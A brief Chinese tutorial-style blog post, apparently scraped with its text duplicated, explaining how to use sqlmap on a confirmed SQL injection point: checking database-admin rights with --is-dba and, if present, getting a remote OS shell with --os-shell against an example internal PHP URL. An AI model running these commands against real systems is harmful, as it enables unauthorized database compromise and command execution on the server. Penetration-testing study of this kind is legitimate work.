首先找到注入点 证明存在注入漏洞
然后使用命令
sqlmap.py -r D:\1.txt -p username --random-agent --is-dba
看看是不是dba

这里不是dba所以不能使用--os-shell命令
如果是的话
例如
python sqlmap.py -u http://192.168.0.166/php/newsshow.php?cid=4 --os-shell
便可直接执行命令
本文介绍如何通过SQLMap工具探测网站是否存在SQL注入漏洞,并利用这些漏洞获取数据库管理员权限。文章详细展示了使用SQLMap的命令行参数进行漏洞验证和利用的具体步骤。
首先找到注入点 证明存在注入漏洞
然后使用命令
sqlmap.py -r D:\1.txt -p username --random-agent --is-dba
看看是不是dba

这里不是dba所以不能使用--os-shell命令
如果是的话
例如
python sqlmap.py -u http://192.168.0.166/php/newsshow.php?cid=4 --os-shell
便可直接执行命令
1万+
1318
978
1871

被折叠的 条评论
为什么被折叠?